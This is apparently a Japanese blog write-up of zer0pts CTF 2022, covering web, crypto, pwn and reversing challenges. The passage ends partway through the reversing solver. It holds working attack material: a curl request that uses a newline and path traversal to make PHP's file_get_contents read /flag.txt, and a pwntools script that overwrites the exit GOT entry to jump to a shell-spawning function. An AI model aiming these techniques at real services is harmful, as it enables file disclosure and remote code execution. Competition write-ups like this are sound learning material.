プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

zer0pts CTF 2022 write-up

zer0pts CTF 2022に、一人チームrotationで参加しました。そのwrite-up記事です。

コンテスト概要

2022/03/19(土) 09:00 +09:00 - 2022/03/20(日) 21:00 +09:00 の開催期間でした。他ルールはトップページから引用します:

[ About ]
    Welcome to zer0pts CTF 2022!
    zer0pts CTF is a jeopardy-style CTF.
    We provide many fun challenges of varying difficulty and categories, and none of them require any guessing skills.

[ Contact ]
    Discord: https://discord.gg/3QrDP2sMYd

[ Prizes ]
    1st: 800 USD
    2nd: 500 USD
    3rd: 300 USD
    4th: 200 USD
    5th: 200 USD

[ Rules ]
    No limit on your team size.
    Anyone can participate in this CTF: no restriction on your age or nationality.
    Your rank on the scoreboard depends on: 1) your total number of points (higher is better); 2) the timestamp of your last solved challenge (erlier is better).
    The survey challenge is special: it does award you some points, but it doesn't update your "last solved challenge" timestamp. You can't get ahead simply by solving the survey faster.
    You can't brute-force the flags. If you submit 5 incorrect flags in a short succession, the flag submission form will get locked for 5 minutes.
    One person can participate in only one team.
    Sharing solutions, hints, or flags with other teams during the competition is strictly forbidden.
    You are not allowed to attack the scoreserver.
    You are not allowed to attack other teams.
    You are not allowed to have multiple accounts. If you can't log in to your account, please contact us on Discord.
    We reserve the right to ban and disqualify any teams breaking any of these rules.
    The flag format is zer0pts\{[\x20-\x7e]+\}, unless specified otherwise.
    Most importantly: good luck and have fun!

結果

正の得点を得ている632チーム中、483点で75位でした。

最終の順位と得点遷移

グレー: 解けた問題

環境

WindowsとWSL2(Ubuntu)を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19044.1586]

c:\>wsl -l -v
  NAME          STATE           VERSION
* Ubuntu        Stopped         2
  kali-linux    Stopped         2

c:\>

他ソフト

  • IDA Free Version 7.7.220118 Windows x64 (64-bit address size)
  • x64dbg Version Oct 2 2020, 23:08:03

WSL2(Ubuntu)

$ cat /proc/version
Linux version 5.10.60.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Wed Aug 25 23:20:18 UTC 2021
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.6 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.6 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
$ python3.8 --version
Python 3.8.0
$ python3.8 -m pip show pip | grep Version
Version: 22.0.4
$ python3.8 -m pip show IPython | grep Version
Version: 7.29.0
$ python3.8 -m pip show sympy | grep Version
Version: 1.9
$ python3.8 -m pip show pwntools | grep Version
Version: 4.7.0
$ g++ --version
g++ (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
Copyright (C) 2017 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

$ gdb --version
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
$ cat ~/peda/README | grep -e 'Version: ' -e 'Release: '
Version: 1.0
Release: special public release, Black Hat USA 2012
$ curl --version
curl 7.58.0 (x86_64-pc-linux-gnu) libcurl/7.58.0 OpenSSL/1.1.1 zlib/1.2.11 libidn2/2.0.4 libpsl/0.19.1 (+libidn2/2.0.4) nghttp2/1.30.0 librtmp/2.3
Release-Date: 2018-01-24
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL
$

解けた問題

[welcome] welcome (49 points, 579 solves)

Check Discord for the flag. We will also announce some important information there.

Discordを見ると、フラグが書かれていました:

ptr-yudai — Today at 9:00 AM
📣 The CTF has just started! 📣
welcome: zer0pts{3nj0y_th3_CTF_t0_W1N!!!!}

フラグを入手できました: zer0pts{3nj0y_th3_CTF_t0_W1N!!!!}

[web, warmup] GitFile Explorer (77 points, 181 solves)

Read /flag.txt on the server.
(ここにサーバーへのリンク)

配布ファイルとして、以下のindex.phpがありました:

<?php
function h($s) { return htmlspecialchars($s); }
function craft_url($service, $owner, $repo, $branch, $file) {
    if (strpos($service, "github") !== false) {
        /* GitHub URL */
        return $service."/".$owner."/".$repo."/".$branch."/".$file;

    } else if (strpos($service, "gitlab") !== false) {
        /* GitLab URL */
        return $service."/".$owner."/".$repo."/-/raw/".$branch."/".$file;

    } else if (strpos($service, "bitbucket") !== false) {
        /* BitBucket URL */
        return $service."/".$owner."/".$repo."/raw/".$branch."/".$file;

    }

    return null;
}

$service = empty($_GET['service']) ? "" : $_GET['service'];
$owner   = empty($_GET['owner'])   ? "ptr-yudai" : $_GET['owner'];
$repo    = empty($_GET['repo'])    ? "ptrlib"    : $_GET['repo'];
$branch  = empty($_GET['branch'])  ? "master"    : $_GET['branch'];
$file    = empty($_GET['file'])    ? "README.md" : $_GET['file'];

if ($service) {
    $url = craft_url($service, $owner, $repo, $branch, $file);
    if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) {
        $result = file_get_contents($url);
    }
}
?>
<!-- 以下HTMLが記述されていますが省略 -->

GETで指定したgithub等の内容を表示してくれるサービスです。問題文では/flag.txtを読み込むようにとあるので、SSRFを使うと検討をつけました。PHPソースを見ると、preg_matchへ与える正規表現にm修飾子を使っている点が気になりました。それをうまく使うと、1行目でfileプロトコルを指定してflag.txtを読み込ませつつ、何らかの方法でhttpプロトコルらしい指定を無視させられそうです。

httpプロトコルのようなフラグメントやクエリ文字列がfileプロトコルでも使えれば簡単だったのですが、どうにもなさそうでした。しばらく悩んだ後に、../を使って無視させればいいと気付きました:

$ curl 'http://gitfile.ctf.zer0pts.com:8001/?service=file%3A///aaa%0Ahttps%3A//www.github.com%0A../../../../flag.txt&owner=..&repo=..&branch=..&file=flag.txt'
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>GitFile Explorer</title>
        <link rel="stylesheet" href="https://cdn.simplecss.org/simple-v1.css">
    </head>
    <body>
        <header>
            <h1>GitFile Explorer API Test</h1>
            <p>Simple API to download files on GitHub/GitLab/BitBucket</p>
        </header>
        <main>
            <form method="GET" action="/">
                <label for="service">Service: </label>
                <select id="service" name="service" autocomplete="off">
                    <option value="https://raw.githubusercontent.com" selected="selected">GitHub</option>
                    <option value="https://gitlab.com" >GitLab</option>
                    <option value="https://bitbucket.org" >BitBucket</option>
                </select>
                <br>
                <label for="owner">GitHub ID: </label>
                <input id="owner" name="owner" type="text" placeholder="Repository Owner" value="..">
                <br>
                <label for="repo">Repository Name: </label>
                <input id="repo" name="repo" type="text" placeholder="Repository Name" value="..">
                <br>
                <label for="branch">Branch: </label>
                <input id="branch" name="branch" type="text" placeholder="Branch Name" value="..">
                <br>
                <label for="file">File Path: </label>
                <input id="file" name="file" type="text" placeholder="README.md" value="flag.txt">
                <br>
                <input type="submit" value="Download">
            </form>
                            <br>
                                    <textarea rows="20" cols="40">zer0pts{foo/bar/../../../../../directory/traversal}
</textarea>
                                    </main>
        <footer>
            <p>zer0pts CTF 2022</p>
        </footer>
    </body>
</html>
$

フラグを入手できました: zer0pts{foo/bar/../../../../../directory/traversal}

[crypto, warmup] Anti-Fermat (90 points, 125 solves)

I invented Anti-Fermat Key Generation for RSA cipher since I'm scared of the Fermat's Factorization Method.

配布ファイルとして、以下のtask.pyと、その出力のoutput.txtがありました:

from Crypto.Util.number import isPrime, getStrongPrime
from gmpy import next_prime
from secret import flag

# Anti-Fermat Key Generation
p = getStrongPrime(1024)
q = next_prime(p ^ ((1<<1024)-1))
n = p * q
e = 65537

# Encryption
m = int.from_bytes(flag, 'big')
assert m < n
c = pow(m, e, n)

print('n = {}'.format(hex(n)))
print('c = {}'.format(hex(c)))
n = 0x1ffc7dc6b9667b0dcd00d6ae92fb34ed0f3d84285364c73fbf6a572c9081931be0b0610464152de7e0468ca7452c738611656f1f9217a944e64ca2b3a89d889ffc06e6503cfec3ccb491e9b6176ec468687bf4763c6591f89e750bf1e4f9d6855752c19de4289d1a7cea33b077bdcda3c84f6f3762dc9d96d2853f94cc688b3c9d8e67386a147524a2b23b1092f0be1aa286f2aa13aafba62604435acbaa79f4e53dea93ae8a22655287f4d2fa95269877991c57da6fdeeb3d46270cd69b6bfa537bfd14c926cf39b94d0f06228313d21ec6be2311f526e6515069dbb1b06fe3cf1f62c0962da2bc98fa4808c201e4efe7a252f9f823e710d6ad2fb974949751
c = 0x60160bfed79384048d0d46b807322e65c037fa90fac9fd08b512a3931b6dca2a745443a9b90de2fa47aaf8a250287e34563e6b1a6761dc0ccb99cb9d67ae1c9f49699651eafb71a74b097fc0def77cf287010f1e7bd614dccfb411cdccbb84c60830e515c05481769bd95e656d839337d430db66abcd3a869c6348616b78d06eb903f8abd121c851696bd4cb2a1a40a07eea17c4e33c6a1beafb79d881d595472ab6ce3c61d6d62c4ef6fa8903149435c844a3fab9286d212da72b2548f087e37105f4657d5a946afd12b1822ceb99c3b407bb40e21163c1466d116d67c16a2a3a79e5cc9d1f6a1054d6be6731e3cd19abbd9e9b23309f87bfe51a822410a62

RSA暗号ですが、qpに依存した方法で決めている点が特徴的です。 いくつかのpについて diff = p*q - n を計算してみました:

#!/usr/bin/env python3.8

from sympy import nextprime, prevprime

n = 0x1ffc7dc6b9667b0dcd00d6ae92fb34ed0f3d84285364c73fbf6a572c9081931be0b0610464152de7e0468ca7452c738611656f1f9217a944e64ca2b3a89d889ffc06e6503cfec3ccb491e9b6176ec468687bf4763c6591f89e750bf1e4f9d6855752c19de4289d1a7cea33b077bdcda3c84f6f3762dc9d96d2853f94cc688b3c9d8e67386a147524a2b23b1092f0be1aa286f2aa13aafba62604435acbaa79f4e53dea93ae8a22655287f4d2fa95269877991c57da6fdeeb3d46270cd69b6bfa537bfd14c926cf39b94d0f06228313d21ec6be2311f526e6515069dbb1b06fe3cf1f62c0962da2bc98fa4808c201e4efe7a252f9f823e710d6ad2fb974949751

def diff(p):
    q = nextprime(p ^ ((1<<1024)-1))
    return p * q - n

print(diff(nextprime(1<<1023)))
print(diff(nextprime((1<<1023) + (1<<1022))))
print(diff(prevprime(1<<1024)))
$ ./test.py
4041355956692185644267328637763737452072353002227385259983054402658283918598995543743823086065967720124178577215720119975983874167361701506109824899179468790686557016808932767702991744154459522140314180505014367560442527996066430857428946220649441584099221515552328110045307751937351867397481838984438995282521277336655471048484487807218918522455762020451861069245285056430605432560865893633188620172111087107481016830026148465067384431276800378232901331037294545664224399670837817039346234775429718084784812381927160339133840190827166582431676993510474478130127482251999593390938738745974290219307106420064165543364
2021543077235247687972648844721865454544596585370167507974907813437992972419752362918997997845785628643633704658101493757601401720456018937666815375026451095647127181352620511968604384755106265465560578106010144543143014330902696097314065324494680929687868649800059044864834258716035254359509814039193346108303133565859299707102248488341544649836263944782476740306186493320038941096163345607067436258784168019259434454209205010349989205914633612354800748841599367494655937435598032358547291369215097808573404553233578429407165130871436319021438032647150292784427647569451517523818120902089606829653080534714320647768
-4037895561135566180911390534403750538038672665201485748049531954222879866117977179555477266814760645798000913014754384897546015620261028767662213197432601989471162325016316255234557693442953504558700229091002524508755526664588508183030577363969601033546189947456748150676586220947914584754406260796543601102631308161403635916782949385473688158665022133629716534383348468503200686559274226354796438426529128623127844976245543173460737345973443282682056268897354495964522250553369852575800750288701559888414980017447164134419576867165117995443945172148393022002886329405551562009019275305736370754801121552930560066356
$

どうやらpが大きくなるほどdiffが小さくなるようです。それならばと二分探索でdiffが0になるpを探してみることにしました:

#!/usr/bin/env python3.8

from sympy import nextprime, prevprime

n = 0x1ffc7dc6b9667b0dcd00d6ae92fb34ed0f3d84285364c73fbf6a572c9081931be0b0610464152de7e0468ca7452c738611656f1f9217a944e64ca2b3a89d889ffc06e6503cfec3ccb491e9b6176ec468687bf4763c6591f89e750bf1e4f9d6855752c19de4289d1a7cea33b077bdcda3c84f6f3762dc9d96d2853f94cc688b3c9d8e67386a147524a2b23b1092f0be1aa286f2aa13aafba62604435acbaa79f4e53dea93ae8a22655287f4d2fa95269877991c57da6fdeeb3d46270cd69b6bfa537bfd14c926cf39b94d0f06228313d21ec6be2311f526e6515069dbb1b06fe3cf1f62c0962da2bc98fa4808c201e4efe7a252f9f823e710d6ad2fb974949751

def sign(x):
    if x == 0: return x
    elif x < 0: return -1
    else: return 1
def diff(p):
    # q = nextprime(p ^ ((1<<1024)-1))
    q = (p ^ ((1<<1024)-1))
    d = (p*q) - n
    return d
low = nextprime(1<<1023)
low_d = diff(low)
hi = prevprime(1<<1024)
hi_d = diff(hi)
old_mid = 0
while low <= hi:
    assert sign(low_d) != sign(hi_d)
    mid = (low + hi) // 2
    assert old_mid != mid
    old_mid = mid
    d = diff(mid)
    print()
    print(f"{low=}\n{mid=},\n{ hi=},\n{  d=}\n")
    if d == 0:
        print(f"p = {mid}")
        break
    elif sign(d) == sign(low_d):
        low = mid
        low_d = d
    elif sign(d) == sign(hi_d):
        hi = mid
        hi_d = d
    else:
        raise Exception("What?")

nextprime関数は処理に時間がかかるので、pqに素数とは限らない値を使わせる手抜きをしています。これを実行しました:

$ ./test.py
(中略)

low=153456316755201256456077648680293404551531181234956990242779099773886170192558263224753907666532907469313954439789378399786631549347700474488574017322863270205683350905558827922567834954626909259763623105532668671134932118937640401627676913585506492102157561689678418157863742997375967679975824876706628970836
mid=153456316755201256456077648680293404551531181234956990242779099773886170192558263224753907666532907469313954439789378399786631549347700474488574017322863270205683350905558827922567834954626909259763623105532668671134932118937640401627676913585506492102157561689678418157863742997375967679975824876706628970836,
 hi=153456316755201256456077648680293404551531181234956990242779099773886170192558263224753907666532907469313954439789378399786631549347700474488574017322863270205683350905558827922567834954626909259763623105532668671134932118937640401627676913585506492102157561689678418157863742997375967679975824876706628970837,
  d=-41501950570821699053772901267597742320136213197821990158333466775593776448086920000009006604893443365035922929479733834274545186887079473273048763410630089392206334485909446524486087920320201998144379576057384593917208951410929419500615031578419462077742076854278454883893649747381453940865142884241584014389

$

pのおおよその値がわかったので、後は厳密に調べていくことにしました:

#!/usr/bin/env python3.8

from sympy import nextprime, prevprime

n = 0x1ffc7dc6b9667b0dcd00d6ae92fb34ed0f3d84285364c73fbf6a572c9081931be0b0610464152de7e0468ca7452c738611656f1f9217a944e64ca2b3a89d889ffc06e6503cfec3ccb491e9b6176ec468687bf4763c6591f89e750bf1e4f9d6855752c19de4289d1a7cea33b077bdcda3c84f6f3762dc9d96d2853f94cc688b3c9d8e67386a147524a2b23b1092f0be1aa286f2aa13aafba62604435acbaa79f4e53dea93ae8a22655287f4d2fa95269877991c57da6fdeeb3d46270cd69b6bfa537bfd14c926cf39b94d0f06228313d21ec6be2311f526e6515069dbb1b06fe3cf1f62c0962da2bc98fa4808c201e4efe7a252f9f823e710d6ad2fb974949751
c = 0x60160bfed79384048d0d46b807322e65c037fa90fac9fd08b512a3931b6dca2a745443a9b90de2fa47aaf8a250287e34563e6b1a6761dc0ccb99cb9d67ae1c9f49699651eafb71a74b097fc0def77cf287010f1e7bd614dccfb411cdccbb84c60830e515c05481769bd95e656d839337d430db66abcd3a869c6348616b78d06eb903f8abd121c851696bd4cb2a1a40a07eea17c4e33c6a1beafb79d881d595472ab6ce3c61d6d62c4ef6fa8903149435c844a3fab9286d212da72b2548f087e37105f4657d5a946afd12b1822ceb99c3b407bb40e21163c1466d116d67c16a2a3a79e5cc9d1f6a1054d6be6731e3cd19abbd9e9b23309f87bfe51a822410a62

def get_P():
    # 先程調べた数の周辺から探す
    X = 100000
    p = nextprime(153456316755201256456077648680293404551531181234956990242779099773886170192558263224753907666532907469313954439789378399786631549347700474488574017322863270205683350905558827922567834954626909259763623105532668671134932118937640401627676913585506492102157561689678418157863742997375967679975824876706628970836 // X * X)
    for i in range(2**16):
        q = nextprime(p ^ ((1<<1024)-1))
        d = (p * q) - n
        print(f"{i=}, {d=}, {p=}")
        if d == 0:
            return p
        p = nextprime(p)
    else:
        raise Exception("Not found!")

p = get_P()
q = nextprime(p ^ ((1<<1024)-1))
assert p*q == n
e = 65537
d = pow(e, -1, (p-1)*(q-1))
m = pow(c, d, n)
print(m.to_bytes(1024, "big").rstrip(b"\x00").decode())

実行しました:

$ ./solve.py
(中略)
i=97, d=0, p=153456316755201256456077648680293404551531181234956990242779099773886170192558263224753907666532907469313954439789378399786631549347700474488574017322863270205683350905558827922567834954626909259763623105532668671134932118937640401627676913585506492102157561689678418157863742997375967679975824876706628973287
Good job! Here is the flag:
+-----------------------------------------------------------+
| zer0pts{F3rm4t,y0ur_m3th0d_n0_l0ng3r_w0rks.y0u_4r3_f1r3d} |
+-----------------------------------------------------------+
$

元の文字列はフラグを含んだ複数行の文章だったようです。ともかくフラグを入手できました: zer0pts{F3rm4t,y0ur_m3th0d_n0_l0ng3r_w0rks.y0u_4r3_f1r3d}

[pwn, warmup] Modern Rome (97 points, 105 solves)

Ancient numeric system still used in the modern world.
nc pwn1.ctf.zer0pts.com 9000

とても悩んだ問題です。配布ファイルとして、以下のchallと、その元ソースのmain.cppがありました:

$ file *
chall:                  ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=56e9bd22c71b88be6d1f336fcfcc733584d27d8c, for GNU/Linux 3.2.0, not stripped
main.cpp:               C source, ASCII text
$ pwn checksec chall
[*] '/mnt/d/Documents/work/ctf/zer0pts_CTF_2022/Modern Rome/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$
#include <string>
#include <iostream>

short buf[10];

void win() {
  std::system("/bin/sh");
}

short readroman(){
  short res = 0;
  std::string s;

  std::cin >> s;
  auto it = s.crbegin();

  int b = 1;
  for (auto c: "IXCM") {
    int cnt = 0;
    while (cnt < 9 && it != s.crend() && *it == c) {
      it++;
      cnt++;
    }
    res += b * cnt;
    b *= 10;
  }

  return res;
}

int main() {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "ind: ";
  int ind = readroman();
  std::cout << "val: ";
  int val = readroman();

  std::cout << "buf[" << ind << "] = " << val << std::endl;
  buf[ind] = val;

  std::exit(0);
}

ローマ数字を入力して整数に変換するreadroman関数があり、その関数を使ってbuf[ind] = valするmain関数があるソースです。変数indの範囲チェックがないため、グローバル変数buf周辺の2バイトを変更可能です。win関数へ制御を飛ばせるとシェルを獲得できます。

一見するとreadroman関数は0以上9999以下の値のみを返すように見えます。そう考えてbuf領域以降を見てみましたが、書き換えてもあまり意味が無さそうな領域だけでした。

悩みながらIDAで見ていると、for (auto c: "IXCM")箇所のループが文字列終端のNUL文字も含めてループしていることに気付きました。思い返してみると、文字列リテラルは配列型であり、配列型のrange-based forは配列すべてを列挙するのでした。考えてみると納得です。そういうわけでreaddoman関数中では99999以下の値を取れることになり、更にshort型で扱っているため-32768以上32767以下の任意の値を返すことになると分かりました。

challはPartial RELROなのでgotを書き換え可能です。exit関数が呼ばれたときに代わりにwin関数へ飛ばしてやると良さそうです。IDAやgdbで確認してみると、exit関数呼び出し直前のgotの値は0x00000000004010b0でした。そのため下位2バイトを書き換えてやるとwin関数のアドレスに変更できます。ここまでわかったので次のコードを書きました:

#!/usr/bin/env python3.8

import pwn
# pwn.context.log_level = "DEBUG"

def value_to_rome(val):
    if val < 0:
        val += 2**16
    assert 0 <= val <= 65535
    if val == 0: return "_"
    res = ""
    d = 10000
    for c in "\x00MCXI":
        while val >= d:
            val -= d
            res += c
        d //= 10
    return res

def solve(tube):
    win_addr = 0x4012F6
    buf_addr = 0x404340
    exit_got_addr = 0x404058
    target_index = (exit_got_addr - buf_addr) // 2
    target_value = win_addr & 0xFFFF

    tube.sendlineafter(b"ind: ", value_to_rome(target_index).encode())
    tube.sendlineafter(b"val: ", value_to_rome(target_value).encode())
    tube.interactive()

# with pwn.process("./chall") as tube: solve(tube)
with pwn.remote("pwn1.ctf.zer0pts.com", 9000) as tube: solve(tube)

実行しました:

$ ./solve.py
[+] Opening connection to pwn1.ctf.zer0pts.com on port 9000: Done
[*] Switching to interactive mode
buf[-372] = 4854
$ ls
chall
flag-e194879738a8cfa575199fd0cd7cc598.txt
$ cat flag-e194879738a8cfa575199fd0cd7cc598.txt
zer0pts{R0me_w1ll_3x1st_a5_1on9_4s_th3_Col1s3um_d0es}
$
[*] Closed connection to pwn1.ctf.zer0pts.com port 9000
$

フラグを入手できました: zer0pts{R0me_w1ll_3x1st_a5_1on9_4s_th3_Col1s3um_d0es}

[rev, warmup] service (104 points, 90 solves)

service charge

配布ファイルとして、chall.exeがありました:

$ file *
chall.exe: PE32+ executable (console) x86-64, for MS Windows
$

とりあえず実行してみると、入力したフラグを検証してくれる内容でした:

PS C:\Users\WDAGUtilityAccount\Desktop\work> .\chall.exe
FLAG: test
Wrong...
PS C:\Users\WDAGUtilityAccount\Desktop\work>

とりあえずIDAで見てみました。今回は64-bit版バイナリなので、フリー版IDAでもクラウドベースの逆コンパイルができます。見ていると入力フラグが正しいものか検証する関数があったのですが、なぜか文字列引数を整数として使っていたり、OpenServiceなしでCreateServiceを呼び出していたりしました:

// IDAの逆コンパイル表示です
BOOL __fastcall IsCorrectFlag(const char *input)
{
  DWORD v2; // [rsp+28h] [rbp-58h]
  const CHAR *v3; // [rsp+28h] [rbp-58h]
  DWORD v4; // [rsp+30h] [rbp-50h]
  DWORD *v5; // [rsp+30h] [rbp-50h]
  QWORD v6; // [rsp+38h] [rbp-48h]
  QWORD v7; // [rsp+38h] [rbp-48h]
  LPCSTR v8; // [rsp+40h] [rbp-40h]
  DWORD *v9; // [rsp+48h] [rbp-38h]
  LPCSTR v10; // [rsp+50h] [rbp-30h]
  LPCSTR v11; // [rsp+58h] [rbp-28h]
  CHAR BinaryPathName[8]; // [rsp+60h] [rbp-20h] BYREF
  struct SC_HANDLE__ hSCManager; // [rsp+68h] [rbp-18h] OVERLAPPED BYREF
  int dwInnerIndex; // [rsp+74h] [rbp-Ch]
  unsigned int dwOuterIndex; // [rsp+78h] [rbp-8h]
  int bIsCorrect; // [rsp+7Ch] [rbp-4h]
  const char *input_1; // [rsp+90h] [rbp+10h]

  LODWORD(input_1) = (_DWORD)input;
  bIsCorrect = 1;
  HIDWORD(v6) = 32;
  CreateServiceA(
    &hSCManager,
    0i64,
    0i64,
    0x18u,
    0xF0000000,
    v2,
    v4,
    (LPCSTR)v6,
    v8,
    v9,
    v10,
    v11,
    *(LPCSTR *)BinaryPathName);
  for ( dwOuterIndex = 0; dwOuterIndex < HIDWORD(v7); ++dwOuterIndex )
  {
    ChangeServiceConfigA(
      *(SC_HANDLE *)&hSCManager.unused,
      CALG_SHA_256,
      0,
      0,
      BinaryPathName,
      v3,
      v5,
      (LPCSTR)v7,
      v8,
      (LPCSTR)v9,
      v10);
    ControlService(*(SC_HANDLE *)BinaryPathName, (_DWORD)input_1 + 2 * dwOuterIndex, (LPSERVICE_STATUS)2);
    CloseServiceHandle(*(SC_HANDLE *)BinaryPathName);
    for ( dwInnerIndex = 0; dwInnerIndex <= 31; ++dwInnerIndex )
      bIsCorrect = (*((_BYTE *)&v8 + dwInnerIndex) == g_expectedByteArray[32 * dwOuterIndex + dwInnerIndex]) & (unsigned __int8)bIsCorrect;
  }
  return bIsCorrect;
}

あまりにも奇妙だったのでx64dbgで確かめてみました。すると上記関数でブレークした頃には、サービス系APIではなく暗号系APIを呼び出すようになっていました!TSL callbackがいくつかあったので、おそらくそこでインポートテーブルを変更しているのでしょう。OllyDumpExでEXEとしてダンプしたものをIDAで見直すと、自然な関数呼び出し内容になっていました:

int __fastcall IsCorrectFlag(const char *input)
{
  DWORD dwDataLen; // [rsp+3Ch] [rbp-44h] BYREF
  BYTE byteArrayCurrentSha256[32]; // [rsp+40h] [rbp-40h] BYREF
  HCRYPTHASH hHash; // [rsp+60h] [rbp-20h] BYREF
  HCRYPTPROV hProv; // [rsp+68h] [rbp-18h] BYREF
  int dwInnerIndex; // [rsp+74h] [rbp-Ch]
  DWORD dwOuterIndex; // [rsp+78h] [rbp-8h]
  BOOL bIsCorrect; // [rsp+7Ch] [rbp-4h]

  bIsCorrect = 1;
  dwDataLen = 32;
  CryptAcquireContextA(&hProv, 0i64, 0i64, PROV_RSA_AES, 0xF0000000);
  for ( dwOuterIndex = 0; dwOuterIndex < dwDataLen; ++dwOuterIndex )
  {
    CryptCreateHash(hProv, CALG_SHA_256, 0i64, 0, &hHash);
    CryptHashData(hHash, (const BYTE *)&input[2 * dwOuterIndex], 2u, 0);
    CryptGetHashParam(hHash, HP_HASHVAL, byteArrayCurrentSha256, &dwDataLen, 0);
    for ( dwInnerIndex = 0; dwInnerIndex <= 31; ++dwInnerIndex )
      bIsCorrect &= byteArrayCurrentSha256[dwInnerIndex] == g_expectedSha256AHashArray[32 * dwOuterIndex + dwInnerIndex];
  }
  return bIsCorrect;
}

入力を2バイトごとに区切ってSHA256を計算し、それがグローバル変数のものと一致しているか検証している内容です。ここまでわかったのでは検証内容となる入力を復元するソルバーを書きました:

#!/usr/bin/env python3.8

import hashlib

# .data:0000000000403020 からの内容
expected_hash_text = """
33h, 12h, 95h, 67h, 0E0h, 0BDh, 78h, 7Eh, 0FBh, 15h
0A2h, 63h, 7, 0E5h, 31h, 1Eh, 6, 0BAh, 66h, 0E3h, 0B8h
0DBh, 0C2h, 20h, 6Ah, 0D5h, 9Fh, 99h, 78h, 0Ah, 4Dh
78h, 0DDh, 19h, 16h, 96h, 0E1h, 5Eh, 2Eh, 0E2h, 93h
41h, 0Dh, 2, 45h, 4Ch, 5Fh, 94h, 61h, 0A2h, 24h, 9Dh
0EEh, 6Dh, 57h, 0C7h, 5Fh, 26h, 4Eh, 0AEh, 0B8h, 3Ah
37h, 82h, 0E7h, 5Bh, 11h, 0DAh, 69h, 3Dh, 7Bh, 0B5h
27h, 39h, 85h, 0DCh, 0F9h, 0F0h, 27h, 29h, 45h, 5Dh
0A7h, 0E7h, 0C8h, 0Eh, 54h, 0A0h, 61h, 5Eh, 0, 0ECh
2Ah, 0E7h, 6Dh, 8Eh, 4, 24h, 9Eh, 0Ch, 25h, 8Eh, 1Ah
4Eh, 43h, 0CFh, 0DAh, 0E2h, 91h, 0A8h, 35h, 0CDh, 15h
73h, 5Fh, 65h, 0Bh, 0BBh, 0BAh, 4, 65h, 0ADh, 0A1h
0CDh, 98h, 46h, 62h, 2Ah, 0E4h, 22h, 3Eh, 0D2h, 0Dh
7Eh, 0A5h, 74h, 0Ah, 32h, 6Eh, 2Bh, 26h, 8Ch, 0A6h
0DBh, 91h, 0D0h, 41h, 0CFh, 51h, 94h, 0F5h, 77h, 0E3h
93h, 0A8h, 0BAh, 3Bh, 85h, 0D8h, 0E9h, 8Bh, 53h, 63h
9Fh, 15h, 2Ch, 8Fh, 0C6h, 0EFh, 30h, 80h, 2Fh, 0DEh
46h, 2Bh, 0A0h, 0BEh, 9Ch, 0F0h, 85h, 0F7h, 58h, 0Dh
0C6h, 9Eh, 0FDh, 72h, 0E0h, 2, 0ABh, 0BBh, 35h, 1, 17h
83h, 4Bh, 0F6h, 0Dh, 0CFh, 97h, 72h, 29h, 0BFh, 1Eh
98h, 2Ch, 0F9h, 0BCh, 63h, 0B6h, 0Eh, 0F4h, 20h, 52h
0F7h, 0CEh, 7Eh, 80h, 0Ch, 0E1h, 21h, 6Ah, 9Ah, 0F6h
74h, 1Dh, 14h, 0DFh, 73h, 0Eh, 53h, 0A5h, 0A0h, 19h
0A7h, 10h, 11h, 6Fh, 69h, 6Dh, 0B4h, 0ECh, 23h, 0A1h
32h, 0B7h, 4Ch, 0F6h, 0FBh, 0B3h, 0CFh, 76h, 17h, 0E6h
83h, 13h, 0E3h, 0Eh, 58h, 0Ah, 4Ch, 29h, 16h, 0BCh
0FFh, 30h, 0CAh, 4, 7Fh, 2Dh, 6Ah, 49h, 41h, 68h, 0CEh
0AFh, 8Fh, 0B9h, 17h, 10h, 37h, 0A7h, 73h, 0A9h, 0F8h
0E7h, 26h, 8Eh, 29h, 47h, 63h, 75h, 4Ah, 8Eh, 0FDh
4Ch, 73h, 9Dh, 9Fh, 67h, 9Bh, 0FCh, 0A3h, 0ABh, 51h
1, 6, 0F4h, 2Dh, 0DBh, 5Dh, 0C0h, 21h, 6Bh, 0A8h, 0BCh
98h, 0BAh, 31h, 58h, 46h, 0C9h, 0E2h, 20h, 99h, 0EEh
4Bh, 0FEh, 54h, 0A9h, 9Ah, 3Ch, 0DBh, 0AFh, 69h, 0F1h
7Fh, 7Ch, 6Eh, 25h, 81h, 0B9h, 2Fh, 7Bh, 0ABh, 25h
